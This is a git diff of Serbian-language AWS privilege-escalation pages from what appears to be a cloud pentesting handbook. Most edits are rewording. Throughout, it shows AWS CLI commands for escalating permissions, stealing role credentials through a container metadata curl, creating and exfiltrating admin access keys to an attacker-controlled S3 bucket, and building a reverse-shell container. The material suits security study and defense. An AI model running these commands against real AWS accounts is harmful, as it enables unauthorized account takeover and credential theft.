baza podataka ima. +Takođe, ako imate dozvole da pokrenete **`aws rds describe-db-clusters`**, možete videti da li **klaster ima neku IAM ulogu pridruženu** u polju **`AssociatedRoles`**. Ako ima, možete pretpostaviti da je baza podataka **pripremljena za pristup drugim AWS uslugama**. Na osnovu **imena uloge** (ili ako možete dobiti **dozvole** uloge) mogli biste **pogoditi** koji dodatni pristup baza podataka ima. -Sada, da biste **pročitali datoteku unutar kante**, morate znati punu putanju. Možete je pročitati sa: +Sada, da **pročitate datoteku unutar bucket-a**, potrebno je da znate punu putanju. Možete je pročitati sa: ```sql // Create table CREATE TABLE ttemp (col TEXT); @@ -71,7 +71,7 @@ SELECT * from ttemp; // Delete table DROP TABLE ttemp; ``` -Ako imate **sirove AWS akreditive**, takođe ih možete koristiti za pristup S3 podacima sa: +Ako imate **sirove AWS akreditive**, možete ih takođe koristiti za pristup S3 podacima sa: ```sql SELECT aws_s3.table_import_from_s3( 't', '', '(format csv)', @@ -80,7 +80,7 @@ aws_commons.create_aws_credentials('sample_access_key', 'sample_secret_key', '') ); ``` > [!NOTE] -> Postgresql **ne treba da menja nijednu promenljivu parametarskih grupa** da bi mogao da pristupi S3. +> Postgresql **ne treba da menja nijednu promenljivu u grupi parametara** da bi mogao da pristupi S3. #### Mysql (Aurora) @@ -89,9 +89,9 @@ aws_commons.create_aws_credentials('sample_access_key', 'sample_secret_key', '') Unutar mysql-a pokrenite **`show variables;`** i ako promenljive kao što su **`aws_default_s3_role`**, **`aurora_load_from_s3_role`**, **`aurora_select_into_s3_role`**, imaju vrednosti, možete pretpostaviti da je baza podataka spremna za pristup S3 podacima. -Takođe, ako imate dozvole da pokrenete **`aws rds describe-db-clusters`** možete proveriti da li klaster ima neku **povezanu ulogu**, što obično znači pristup AWS uslugama. +Takođe, ako imate dozvole da pokrenete **`aws rds describe-db-clusters`** možete proveriti da li klaster ima neku **povezanu ulogu**, što obično znači pristup AWS uslugama). -Sada, da biste **pročitali datoteku unutar bucket-a** potrebno je da znate punu putanju. Možete je pročitati sa: +Sada, da biste **pročitali datoteku unutar bucket-a** morate znati punu putanju. Možete je pročitati sa: ```sql CREATE TABLE ttemp (col TEXT); LOAD DATA FROM S3 's3://mybucket/data.txt' INTO TABLE ttemp(col); @@ -109,7 +109,7 @@ Napomena da neki DB-ovi zahtevaju dodatne konfiguracije kao što je Mysql, koji ### `rds:CreateDBInstance` -Samo sa ovom dozvolom napadač bi mogao da kreira **novu instancu unutar klastera** koji već postoji i ima **IAM ulogu** prikačenu. Neće moći da promeni lozinku glavnog korisnika, ali bi mogao da izloži novu instancu baze podataka internetu: +Samo sa ovom dozvolom, napadač bi mogao da kreira **novu instancu unutar klastera** koji već postoji i ima **IAM ulogu** prikačenu. Neće moći da promeni lozinku glavnog korisnika, ali bi mogao da izloži novu instancu baze podataka internetu: ```bash aws --region eu-west-1 --profile none-priv rds create-db-instance \ --db-instance-identifier mydbinstance2 \ @@ -124,10 +124,10 @@ aws --region eu-west-1 --profile none-priv rds create-db-instance \ > [!NOTE] > TODO: Test -Napadač sa dozvolama `rds:CreateDBInstance` i `iam:PassRole` može **napraviti novu RDS instancu sa određenom ulogom**. Napadač može zatim potencijalno **pristupiti osetljivim podacima** ili izmeniti podatke unutar instance. +Napadač sa dozvolama `rds:CreateDBInstance` i `iam:PassRole` može **napraviti novu RDS instancu sa određenom ulogom**. Napadač može potencijalno **pristupiti osetljivim podacima** ili izmeniti podatke unutar instance. > [!WARNING] -> Neki zahtevi za ulogu/profil instance koji se treba prikačiti (iz [**ovde**](https://docs.aws.amazon.com/cli/latest/reference/rds/create-db-instance.html)): +> Neki zahtevi za ulogu/profil instance koji treba prikačiti (iz [**ovde**](https://docs.aws.amazon.com/cli/latest/reference/rds/create-db-instance.html)): > - Profil mora postojati u vašem nalogu. > - Profil mora imati IAM ulogu koju Amazon EC2 ima dozvolu da preuzme. @@ -135,7 +135,7 @@ Napadač sa dozvolama `rds:CreateDBInstance` i `iam:PassRole` može **napraviti ```bash aws rds create-db-instance --db-instance-identifier malicious-instance --db-instance-class db.t2.micro --engine mysql --allocated-storage 20 --master-username admin --master-user-password mypassword --db-name mydatabase --vapc-security-group-ids sg-12345678 --db-subnet-group-name mydbsubnetgroup --enable-iam-database-authentication --custom-iam-instance-profile arn:aws:iam::123456789012:role/MyRDSEnabledRole ``` -**Potencijalni Uticaj**: Pristup osetljivim podacima ili neovlašćene izmene podataka u RDS instanci. +**Potencijalni uticaj**: Pristup osetljivim podacima ili neovlašćene izmene podataka u RDS instanci. ### `rds:AddRoleToDBInstance`, `iam:PassRole` diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-redshift-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-redshift-privesc.md index d5f080da6..2eef120f1 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-redshift-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-redshift-privesc.md @@ -35,18 +35,18 @@ psql -h redshift-cluster-1.asdjuezc439a.us-east-1.redshift.amazonaws.com -U "IAM ### `redshift:DescribeClusters`, `redshift:ModifyCluster?` -Moguće je **izmeniti glavnu lozinku** internog postgres (redshit) korisnika putem aws cli (mislim da su to dozvole koje su vam potrebne, ali ih još nisam testirao): +Moguće je **modifikovati glavnu lozinku** internog postgres (redshit) korisnika putem aws cli (mislim da su to dozvole koje su vam potrebne, ali ih još nisam testirao): ``` aws redshift modify-cluster –cluster-identifier –master-user-password ‘master-password’; ``` -**Potencijalni Uticaj:** Pronaći osetljive informacije unutar baza podataka. +**Potencijalni Uticaj:** Pronađite osetljive informacije unutar baza podataka. ## Pristup Eksternim Uslugama > [!WARNING] -> Da biste pristupili svim sledećim resursima, moraćete da **navedete ulogu koju želite da koristite**. Redshift klaster **može imati dodeljenu listu AWS uloga** koje možete koristiti **ako znate ARN** ili možete jednostavno postaviti "**default**" da biste koristili podrazumevanu. +> Da biste pristupili svim sledećim resursima, potrebno je da **navedete ulogu koju ćete koristiti**. Redshift klaster **može imati dodeljenu listu AWS uloga** koje možete koristiti **ako znate ARN** ili možete jednostavno postaviti "**default**" da biste koristili podrazumevanu. -> Pored toga, kao što je [**objašnjeno ovde**](https://docs.aws.amazon.com/redshift/latest/mgmt/authorizing-redshift-service.html), Redshift takođe omogućava da se uloge kombinuju (pod uslovom da prva može da preuzme drugu) kako bi se dobio dalji pristup, ali samo **razdvajanjem** njih sa **zarezom**: `iam_role 'arn:aws:iam::123456789012:role/RoleA,arn:aws:iam::210987654321:role/RoleB';` +> Pored toga, kao što je [**objašnjeno ovde**](https://docs.aws.amazon.com/redshift/latest/mgmt/authorizing-redshift-service.html), Redshift takođe omogućava kombinovanje uloga (pod uslovom da prva može da preuzme drugu) za dalji pristup, ali samo **razdvajanjem** njih sa **zarezom**: `iam_role 'arn:aws:iam::123456789012:role/RoleA,arn:aws:iam::210987654321:role/RoleB';` ### Lambdas diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc.md index 8493add64..92f37cc53 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc.md @@ -34,12 +34,12 @@ Na primer, napadač sa tim **dozvolama nad cloudformation kanticom** pod nazivom ] } ``` -I otmica je moguća jer postoji **mali vremenski prozor od trenutka kada je šablon otpremljen** u bucket do trenutka kada je **šablon implementiran**. Napadač može jednostavno da kreira **lambda funkciju** u svom nalogu koja će **aktivirati kada se pošalje obaveštenje iz bucketa**, i **otme** **sadržaj** tog **bucketa**. +I otmica je moguća jer postoji **mali vremenski prozor od trenutka kada je šablon otpremljen** u bucket do trenutka kada je **šablon implementiran**. Napadač može jednostavno da kreira **lambda funkciju** u svom nalogu koja će **pokrenuti kada se pošalje obaveštenje iz bucketa**, i **otme** **sadržaj** tog **bucketa**. ![](<../../../images/image (174).png>) Pacu modul [`cfn__resouce_injection`](https://github.com/RhinoSecurityLabs/pacu/wiki/Module-Details#cfn__resource_injection) može se koristiti za automatizaciju ovog napada.\ -Za više informacija pogledajte originalno istraživanje: [https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/](https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/) +Za više informacija proverite originalno istraživanje: [https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/](https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/) ### `s3:PutObject`, `s3:GetObject` @@ -111,7 +111,7 @@ aws s3api put-bucket-policy --policy file:///root/policy.json --bucket @@ -138,7 +138,7 @@ aws s3api put-bucket-acl --bucket --access-control-policy file://a ``` ### `s3:GetObjectAcl`, `s3:PutObjectAcl` -Napadač bi mogao da zloupotrebi ove dozvole da mu dodeli više pristupa određenim objektima unutar kanti. +Napadač bi mogao da zloupotrebi ove dozvole da mu dodeli veći pristup određenim objektima unutar kanti. ```bash # Update bucket object ACL aws s3api get-object-acl --bucket --key flag diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc.md index ddcd33930..d34efddd2 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc.md @@ -19,21 +19,21 @@ aws sagemaker create-presigned-notebook-instance-url \ ``` Navigirajte do URL-a u pretraživaču i kliknite na \`Open JupyterLab\` u gornjem desnom uglu, zatim se pomerite do taba “Launcher” i u sekciji “Other” kliknite na dugme “Terminal”. -Sada je moguće pristupiti metapodacima akreditiva IAM Role. +Sada je moguće pristupiti metapodacima kredencijala IAM Role. **Potencijalni uticaj:** Privesc na sagemaker servisnu ulogu koja je navedena. ### `sagemaker:CreatePresignedNotebookInstanceUrl` -Ako su Jupyter **notebook-ovi već pokrenuti** na njemu i možete ih nabrojati sa `sagemaker:ListNotebookInstances` (ili ih otkriti na bilo koji drugi način). Možete **generisati URL za njih, pristupiti im i ukrasti akreditive kao što je navedeno u prethodnoj tehnici**. +Ako su Jupyter **notebook-ovi već pokrenuti** na njemu i možete ih nabrojati sa `sagemaker:ListNotebookInstances` (ili ih otkriti na bilo koji drugi način). Možete **generisati URL za njih, pristupiti im i ukrasti kredencijale kao što je navedeno u prethodnoj tehnici**. ```bash aws sagemaker create-presigned-notebook-instance-url --notebook-instance-name ``` -**Potencijalni Uticaj:** Privesc na sagemaker servisnu ulogu koja je povezana. +**Potencijalni uticaj:** Privesc na sagemaker servisnu ulogu koja je povezana. ### `sagemaker:CreateProcessingJob,iam:PassRole` -Napadač sa tim dozvolama može da **natera sagemaker da izvrši processingjob** sa sagemaker ulogom povezanu. Napadač može da naznači definiciju kontejnera koji će biti pokrenut u **AWS upravljanom ECS nalogu**, i **ukrade kredencijale IAM uloge koja je povezana**. +Napadač sa tim dozvolama može naterati **sagemaker da izvrši processingjob** sa sagemaker ulogom koja je povezana. Napadač može odrediti definiciju kontejnera koji će biti pokrenut u **AWS upravljanom ECS nalogu**, i **ukrasti kredencijale povezane IAM uloge**. ```bash # I uploaded a python docker image to the ECR aws sagemaker create-processing-job \ @@ -49,15 +49,15 @@ curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" #To get the c ### `sagemaker:CreateTrainingJob`, `iam:PassRole` -Napadač sa tim dozvolama će moći da kreira obuku, **pokrećući proizvoljni kontejner** na njemu sa **priključenom ulogom**. Stoga, napadač će moći da ukrade kredencijale te uloge. +Napadač sa tim dozvolama će moći da kreira trening posao, **pokrećući proizvoljni kontejner** na njemu sa **priključenom ulogom**. Stoga, napadač će moći da ukrade kredencijale te uloge. > [!WARNING] -> Ovaj scenario je teže iskoristiti nego prethodni jer morate da generišete Docker sliku koja će slati rev shell ili kredencijale direktno napadaču (ne možete da navedete početnu komandu u konfiguraciji obuke). +> Ovaj scenario je teže iskoristiti nego prethodni jer morate generisati Docker sliku koja će slati rev shell ili kredencijale direktno napadaču (ne možete navesti početnu komandu u konfiguraciji trening posla). > > ```bash > # Kreirajte docker sliku > mkdir /tmp/rev -> ## Imajte na umu da će obuka pozvati izvršnu datoteku pod nazivom "train" +> ## Imajte na umu da će trening posao pozvati izvršnu datoteku pod nazivom "train" > ## Zato stavljam rev shell u /bin/train > ## Postavite vrednosti i > cat > /tmp/rev/Dockerfile < # Get value ### `secretsmanager:GetResourcePolicy`, `secretsmanager:PutResourcePolicy`, (`secretsmanager:ListSecrets`) -Sa prethodnim dozvolama moguće je **dati pristup drugim principalima/računima (čak i spoljnim)** da pristupe **tajni**. Imajte na umu da da bi se **pročitali tajne šifrovane** KMS ključem, korisnik takođe mora imati **pristup KMS ključu** (više informacija na [KMS Enum stranici](../aws-services/aws-kms-enum.md)). +Sa prethodnim dozvolama moguće je **dati pristup drugim principalima/računima (čak i spoljnim)** da pristupe **tajni**. Imajte na umu da da bi se **pročitali tajni podaci koji su enkriptovani** KMS ključem, korisnik takođe mora imati **pristup KMS ključu** (više informacija na [KMS Enum stranici](../aws-services/aws-kms-enum.md)). ```bash aws secretsmanager list-secrets aws secretsmanager get-resource-policy --secret-id diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc.md index f85541bce..903f09e1d 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc.md @@ -4,7 +4,7 @@ ## SNS -Za više informacija pogledajte: +Za više informacija proverite: {{#ref}} ../aws-services/aws-sns-enum.md @@ -12,7 +12,7 @@ Za više informacija pogledajte: ### `sns:Publish` -Napadač bi mogao poslati zlonamerne ili neželjene poruke na SNS temu, što bi moglo izazvati oštećenje podataka, pokretanje neželjenih akcija ili iscrpljivanje resursa. +Napadač bi mogao poslati zlonamerne ili neželjene poruke na SNS temu, što bi moglo izazvati oštećenje podataka, pokrenuti neželjene akcije ili iscrpiti resurse. ```bash aws sns publish --topic-arn --message ``` @@ -20,7 +20,7 @@ aws sns publish --topic-arn --message ### `sns:Subscribe` -Napadač bi mogao da se prijavi ili na SNS temu, potencijalno stičući neovlašćen pristup porukama ili ometajući normalno funkcionisanje aplikacija koje se oslanjaju na temu. +Napadač bi mogao da se prijavi na SNS temu, potencijalno stičući neovlašćen pristup porukama ili ometajući normalno funkcionisanje aplikacija koje se oslanjaju na tu temu. ```bash aws sns subscribe --topic-arn --protocol --endpoint ``` @@ -28,7 +28,7 @@ aws sns subscribe --topic-arn --protocol --endpoint ### `sns:AddPermission` -Napadač bi mogao dodeliti neovlašćenim korisnicima ili uslugama pristup SNS temi, potencijalno dobijajući dalja ovlašćenja. +Napadač bi mogao dodeliti neovlašćenim korisnicima ili uslugama pristup SNS temi, potencijalno dobijajući dodatne dozvole. ```css aws sns add-permission --topic-arn --label --aws-account-id --action-name ``` diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc.md index 9d3a51633..1e3e2358a 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc.md @@ -47,12 +47,12 @@ aws ssm start-session --target "$INSTANCE_ID" > [!CAUTION] > Da biste započeli sesiju, potrebno je da imate instaliran **SessionManagerPlugin**: [https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html](https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html) -**Potencijalni uticaj:** Direktno privesc do EC2 IAM uloga povezanih sa aktivnim instancama sa SSM Agentima. +**Potencijalni uticaj:** Direktno privesc na EC2 IAM uloge povezane sa aktivnim instancama sa SSM agentima. -#### Privesc do ECS +#### Privesc na ECS -Kada **ECS zadaci** rade sa **`ExecuteCommand` omogućenim**, korisnici sa dovoljno dozvola mogu koristiti `ecs execute-command` da **izvrše komandu** unutar kontejnera.\ -Prema [**dokumentaciji**](https://aws.amazon.com/blogs/containers/new-using-amazon-ecs-exec-access-your-containers-fargate-ec2/), to se postiže kreiranjem sigurnog kanala između uređaja koji koristite za iniciranje komande “_exec_” i ciljnog kontejnera sa SSM Session Managerom. (SSM Session Manager Plugin je neophodan za ovo)\ +Kada **ECS zadaci** rade sa **`ExecuteCommand` omogućeno**, korisnici sa dovoljno dozvola mogu koristiti `ecs execute-command` da **izvrše komandu** unutar kontejnera.\ +Prema [**dokumentaciji**](https://aws.amazon.com/blogs/containers/new-using-amazon-ecs-exec-access-your-containers-fargate-ec2/), to se postiže kreiranjem sigurnog kanala između uređaja koji koristite za iniciranje komande “_exec_” i ciljnog kontejnera sa SSM Session Manager-om. (SSM Session Manager Plugin je neophodan za ovo)\ Stoga, korisnici sa `ssm:StartSession` moći će da **dobiju shell unutar ECS zadataka** sa tom opcijom omogućenom jednostavno pokretanjem: ```bash aws ssm start-session --target "ecs:CLUSTERNAME_TASKID_RUNTIMEID" @@ -72,11 +72,11 @@ aws ssm describe-sessions aws ssm resume-session \ --session-id Mary-Major-07a16060613c408b5 ``` -**Potencijalni uticaj:** Direktno privesc do EC2 IAM uloga povezanih sa aktivnim instancama sa SSM agentima i disconected sesijama. +**Potencijalni uticaj:** Direktno privesc do EC2 IAM uloga povezanih sa aktivnim instancama sa SSM agentima i prekinutim sesijama. ### `ssm:DescribeParameters`, (`ssm:GetParameter` | `ssm:GetParameters`) -Napadač sa pomenutim dozvolama će moći da prikaže **SSM parametre** i **pročita ih u čistom tekstu**. U ovim parametrima često možete **pronaći osetljive informacije** kao što su SSH ključevi ili API ključevi. +Napadač sa pomenutim dozvolama će moći da nabroji **SSM parametre** i **pročita ih u čistom tekstu**. U ovim parametrima često možete **pronaći osetljive informacije** kao što su SSH ključevi ili API ključevi. ```bash aws ssm describe-parameters # Suppose that you found a parameter called "id_rsa" @@ -107,7 +107,7 @@ aws ssm get-command-invocation --command-id --instance-id ### Codebuild -Možete takođe koristiti SSM da uđete u projekat codebuild koji se gradi: +Takođe možete koristiti SSM da uđete u projekat codebuild koji se gradi: {{#ref}} aws-codebuild-privesc.md diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc.md index b8e499bfc..471ce2d00 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc.md @@ -27,7 +27,7 @@ aws identitystore create-group-membership --identity-store-id --group- ``` ### `sso:PutInlinePolicyToPermissionSet`, `sso:ProvisionPermissionSet` -Napadač sa ovom dozvolom mogao bi dodeliti dodatne dozvole skupu dozvola koji je dodeljen korisniku pod njegovom kontrolom. +Napadač sa ovom dozvolom mogao bi dodeliti dodatne dozvole Permission Set-u koji je dodeljen korisniku pod njegovom kontrolom. ```bash # Set an inline policy with admin privileges aws sso-admin put-inline-policy-to-permission-set --instance-arn --permission-set-arn --inline-policy file:///tmp/policy.yaml @@ -50,7 +50,7 @@ aws sso-admin provision-permission-set --instance-arn --permissio ``` ### `sso:AttachManagedPolicyToPermissionSet`, `sso:ProvisionPermissionSet` -Napadač sa ovom dozvolom mogao bi dodeliti dodatne dozvole skupu dozvola koji je dodeljen korisniku pod njegovom kontrolom. +Napadač sa ovom dozvolom mogao bi dodeliti dodatne dozvole Permission Set-u koji je dodeljen korisniku pod njegovom kontrolom. ```bash # Set AdministratorAccess policy to the permission set aws sso-admin attach-managed-policy-to-permission-set --instance-arn --permission-set-arn --managed-policy-arn "arn:aws:iam::aws:policy/AdministratorAccess" @@ -60,7 +60,7 @@ aws sso-admin provision-permission-set --instance-arn --permissio ``` ### `sso:AttachCustomerManagedPolicyReferenceToPermissionSet`, `sso:ProvisionPermissionSet` -Napadač sa ovom dozvolom može dodeliti dodatne dozvole skupu dozvola koji je dodeljen korisniku pod njegovom kontrolom. +Napadač sa ovom dozvolom mogao bi da dodeli dodatne dozvole Permission Set-u koji je dodeljen korisniku pod njegovom kontrolom. > [!WARNING] > Da biste zloupotrebili ove dozvole u ovom slučaju, morate znati **ime korisničke upravljane politike koja se nalazi u SVIH računa** koji će biti pogođeni. @@ -87,7 +87,7 @@ Međutim, potrebna vam je pristupna oznaka koju nisam siguran kako da dobijem (T ### `sso:DetachManagedPolicyFromPermissionSet` -Napadač sa ovom dozvolom može ukloniti asocijaciju između AWS upravljane politike i specificiranog skupa dozvola. Moguće je dodeliti više privilegija putem **uklanjanja upravljane politike (politika odbijanja)**. +Napadač sa ovom dozvolom može ukloniti asocijaciju između AWS upravljane politike i određenog skupa dozvola. Moguće je dodeliti više privilegija putem **uklanjanja upravljane politike (politika odbijanja)**. ```bash aws sso-admin detach-managed-policy-from-permission-set --instance-arn --permission-set-arn --managed-policy-arn ``` diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc.md index 6913370fe..674dfd567 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc.md @@ -12,7 +12,7 @@ Za više informacija o ovoj AWS usluzi, proverite: ### Task Resources -Ove tehnike eskalacije privilegija će zahtevati korišćenje nekih AWS resursa step funkcija kako bi se izvršile željene akcije eskalacije privilegija. +Ove tehnike eskalacije privilegija će zahtevati korišćenje nekih AWS step function resursa kako bi se izvršile željene akcije eskalacije privilegija. Da biste proverili sve moguće akcije, možete otići na svoj AWS nalog, odabrati akciju koju želite da koristite i videti parametre koje koristi, kao u: @@ -29,7 +29,7 @@ Napadač sa **`states:TestState`** & **`iam:PassRole`** dozvolama može testirat ```bash aws states test-state --definition --role-arn [--input ] [--inspection-level ] [--reveal-secrets | --no-reveal-secrets] ``` -Следећи примери показују како тестирати стање које креира приступни кључ за **`admin`** корисника користећи ове дозволе и дозволу у AWS окружењу. Ова дозвола би требало да има било коју политику са високим привилегијама повезану са њом (на пример **`arn:aws:iam::aws:policy/AdministratorAccess`**) која омогућава стању да изврши акцију **`iam:CreateAccessKey`**: +Sledeći primeri pokazuju kako testirati stanje koje kreira pristupni ključ za **`admin`** korisnika koristeći ove dozvole i permisivnu ulogu AWS okruženja. Ova permisivna uloga bi trebala imati neku visoko privilegovanu politiku povezanu sa njom (na primer **`arn:aws:iam::aws:policy/AdministratorAccess`**) koja omogućava stanju da izvrši **`iam:CreateAccessKey`** akciju: - **stateDefinition.json**: ```json @@ -42,7 +42,7 @@ aws states test-state --definition --role-arn [--input ] "End": true } ``` -- **Команда** извршена за извођење преласка привилегија: +- **Komanda** izvršena za izvođenje privesc: ```bash aws stepfunctions test-state --definition file://stateDefinition.json --role-arn arn:aws:iam:::role/PermissiveRole @@ -63,7 +63,7 @@ aws stepfunctions test-state --definition file://stateDefinition.json --role-arn ### `states:CreateStateMachine` & `iam:PassRole` & (`states:StartExecution` | `states:StartSyncExecution`) -Napadač sa **`states:CreateStateMachine`** & **`iam:PassRole`** bi mogao da kreira mašinu stanja i dodeli joj bilo koju IAM ulogu, omogućavajući neovlašćen pristup drugim AWS uslugama sa dozvolama te uloge. U poređenju sa prethodnom tehnikom privesc (**`states:TestState`** & **`iam:PassRole`**), ova ne izvršava sama, takođe će vam biti potrebne dozvole **`states:StartExecution`** ili **`states:StartSyncExecution`** (**`states:StartSyncExecution`** **nije dostupna za standardne radne tokove**, **samo za izražene mašine stanja**) kako biste započeli izvršenje nad mašinom stanja. +Napadač sa **`states:CreateStateMachine`** & **`iam:PassRole`** mogao bi da kreira mašinu stanja i dodeli joj bilo koju IAM ulogu, omogućavajući neovlašćen pristup drugim AWS uslugama sa dozvolama te uloge. U poređenju sa prethodnom tehnikom privesc (**`states:TestState`** & **`iam:PassRole`**), ova ne izvršava sama po sebi, takođe će vam biti potrebne dozvole **`states:StartExecution`** ili **`states:StartSyncExecution`** (**`states:StartSyncExecution`** **nije dostupna za standardne radne tokove**, **samo za izražene mašine stanja**) kako biste započeli izvršavanje nad mašinom stanja. ```bash # Create a state machine aws states create-state-machine --name --definition --role-arn [--type ] [--logging-configuration ]\ @@ -75,7 +75,7 @@ aws states start-execution --state-machine-arn [--name ] [--input # Start a Synchronous Express state machine execution aws states start-sync-execution --state-machine-arn [--name ] [--input ] [--trace-header ] ``` -The following examples show how to create an state machine that creates an access key for the **`admin`** user and exfiltrates this access key to an attacker-controlled S3 bucket, leveraging these permissions and a permissive role of the AWS environment. This permissive role should have any high-privileged policy associated with it (for example **`arn:aws:iam::aws:policy/AdministratorAccess`**) that allows the state machine to perform the **`iam:CreateAccessKey`** & **`s3:putObject`** actions. +Sledeći primeri pokazuju kako da se kreira mašina stanja koja kreira pristupni ključ za korisnika **`admin`** i eksfiltrira ovaj pristupni ključ u S3 bucket pod kontrolom napadača, koristeći ove dozvole i permisivnu ulogu AWS okruženja. Ova permisivna uloga bi trebala imati bilo koju politiku sa visokim privilegijama povezanu sa njom (na primer **`arn:aws:iam::aws:policy/AdministratorAccess`**) koja omogućava mašini stanja da izvrši akcije **`iam:CreateAccessKey`** i **`s3:putObject`**. - **stateMachineDefinition.json**: ```json @@ -132,13 +132,13 @@ aws stepfunctions start-execution --state-machine-arn arn:aws:states:us-east-1:1 } ``` > [!WARNING] -> Napadačem kontrolisani S3 bucket treba da ima dozvole da prihvati s3:PutObject akciju iz naloga žrtve. +> S3 bucket pod kontrolom napadača treba da ima dozvole da prihvati s3:PutObject akciju iz naloga žrtve. -**Potencijalni uticaj**: Neovlašćeno izvršavanje i manipulacija radnim tokovima i pristup osetljivim resursima, što može dovesti do značajnih bezbednosnih propusta. +**Potencijalni uticaj**: Neovlašćena izvršenja i manipulacija radnim tokovima i pristup osetljivim resursima, što može dovesti do značajnih bezbednosnih propusta. ### `states:UpdateStateMachine` & (ne uvek potrebno) `iam:PassRole` -Napadač sa **`states:UpdateStateMachine`** dozvolom mogao bi da izmeni definiciju mašine stanja, dodajući dodatne stealth stanja koja bi mogla dovesti do eskalacije privilegija. Na ovaj način, kada legitimni korisnik pokrene izvršenje mašine stanja, ovo novo zloćudno stealth stanje će biti izvršeno i eskalacija privilegija će biti uspešna. +Napadač sa **`states:UpdateStateMachine`** dozvolom mogao bi da izmeni definiciju mašine stanja, dodajući dodatne stealth stanja koja bi mogla dovesti do eskalacije privilegija. Na ovaj način, kada legitimni korisnik pokrene izvršenje mašine stanja, ovo novo zlonamerno stealth stanje će biti izvršeno i eskalacija privilegija će biti uspešna. U zavisnosti od toga koliko je permisivna IAM uloga povezana sa mašinom stanja, napadač bi se suočio sa 2 situacije: @@ -148,10 +148,10 @@ U zavisnosti od toga koliko je permisivna IAM uloga povezana sa mašinom stanja, aws states update-state-machine --state-machine-arn [--definition ] [--role-arn ] [--logging-configuration ] \ [--tracing-configuration ] [--publish | --no-publish] [--version-description ] ``` -Следећи примери показују како да се ажурира легитимна машина стања која само позива HelloWorld Lambda функцију, како би се додала додатна стања која додаје корисника **`unprivilegedUser`** у **`administrator`** IAM групу. На овај начин, када легитимни корисник покрене извршење ажуриране машине стања, ово ново малигно стање ће бити извршено и ескалација привилегија ће бити успешна. +Sledeći primeri pokazuju kako ažurirati legitimnu mašinu stanja koja samo poziva HelloWorld Lambda funkciju, kako bi se dodalo dodatno stanje koje dodaje korisnika **`unprivilegedUser`** u **`administrator`** IAM grupu. Na ovaj način, kada legitimni korisnik pokrene izvršenje ažurirane mašine stanja, ovo novo zlonamerno stealth stanje će biti izvršeno i eskalacija privilegija će biti uspešna. > [!WARNING] -> Ако машина стања нема повољну IAM улогу повезану, такође ће бити потребна дозвола **`iam:PassRole`** да би се ажурирала IAM улога у циљу повезивања повољне IAM улоге (на пример, једне са **`arn:aws:iam::aws:policy/AdministratorAccess`** политиком прикљученом). +> Ako mašina stanja nema povezanu permisivnu IAM ulogu, takođe bi bila potrebna dozvola **`iam:PassRole`** za ažuriranje IAM uloge kako bi se povezala permisivna IAM uloga (na primer, jedna sa **`arn:aws:iam::aws:policy/AdministratorAccess`** politikom priloženom). {{#tabs }} {{#tab name="Legit State Machine" }} @@ -181,7 +181,7 @@ aws states update-state-machine --state-machine-arn [--definition [!CAUTION] > Imajte na umu da u ovom slučaju dozvola `sts:AssumeRole` treba da bude **naznačena u ulozi koju treba zloupotrebiti** i ne u politici koja pripada napadaču.\ -> Sa jednim izuzetkom, da bi se **preuzela uloga iz druge računa** napadačev račun **takođe treba** da ima **`sts:AssumeRole`** nad ulogom. +> Sa jednim izuzetkom, da bi se **preuzela uloga iz druge računa**, napadačev račun **takođe treba** da ima **`sts:AssumeRole`** nad ulogom. ### **`sts:GetFederationToken`** -Sa ovom dozvolom moguće je generisati akreditive za impersonaciju bilo kog korisnika: +Sa ovom dozvolom je moguće generisati akreditive za impersonaciju bilo kog korisnika: ```bash aws sts get-federation-token --name ``` -Ovo je kako se ova dozvola može dati sigurno bez davanja pristupa za oponašanje drugih korisnika: +Ovako se ova dozvola može dati sigurno, bez davanja pristupa za imitaciju drugih korisnika: ```json { "Version": "2012-10-17", @@ -55,7 +55,7 @@ Ovo je kako se ova dozvola može dati sigurno bez davanja pristupa za oponašanj ``` ### 